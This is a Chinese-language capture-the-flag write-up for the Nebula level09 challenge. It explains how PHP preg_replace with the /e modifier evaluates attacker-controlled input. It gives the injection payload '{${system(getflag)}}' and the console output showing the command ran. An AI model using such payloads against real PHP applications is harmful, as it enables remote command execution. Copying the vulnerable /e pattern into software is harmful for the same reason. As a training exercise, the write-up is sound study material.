题目中给出了一段有漏洞的php代码:
<?php
function spam($email)
{
$email = preg_replace("/\./", " dot ", $email);
$email = preg_replace("/@/", " AT ", $email);
return $email;
}
function markup($filename, $use_me)
{
$contents = file_get_contents($filename);
$contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
$contents = preg_replace("/\[/", "<", $contents);
$contents = preg_replace("/\]/", ">", $contents);
return $contents;
}
$output = markup($argv[1], $argv[2]);
print $output;
?>
这段代码通过正则表达式匹配[email xxx@xxx],将“.”替换成“dot”,将“@”替换成“AT”。假设/tmp/lx的文件内容如下:
[email [email protected]]
执行./flag09 /tmp/lx,将得到:
lxff AT 21cn dot com
但是,我们注意这段代码:
$contents=preg_replace("/(\[email (.*)\])/e","spam(\"\\2\")",$contents);
preg_replace第一个参数后使用了/e,即使用了/e模式,如果启用该模式,那么preg_replace的第二个参数将会被作为代码执行。前段时间Thinkphp也出现了这种漏洞。
在php变量引用中,如果双引号的字符串出现了“$变量名”或“${变量}”的形式,最终引用的是变量值。同样的思想,如果是函数,则引用的是函数的返回结果。
如果/tmp/lx的内容改成这样:
[email "${${phpinfo()}}" ]
最终phpinfo这个函数会被执行。php中也有system函数,可拿来执行外部的shell命令,所以把/tmp/lx的内容改一下:
[email "{${system(getflag)}}"]
接着再来执行:
level09@nebula:/home/flag09$ ./flag09 /tmp/lx PHP Notice: Undefined offset: 2 in /home/flag09/flag09.php on line 22 PHP Notice: Use of undefined constant getflag - assumed 'getflag' in /home/flag09/flag09.php(15) : regexp code on line 1 You have successfully executed getflag on a target account PHP Notice: Undefined variable: You have successfully executed getflag on a target account in /home/flag09/flag09.php(15) : regexp code on line 1 ""
注意倒数第三行:You have successfully executed getflag on a target account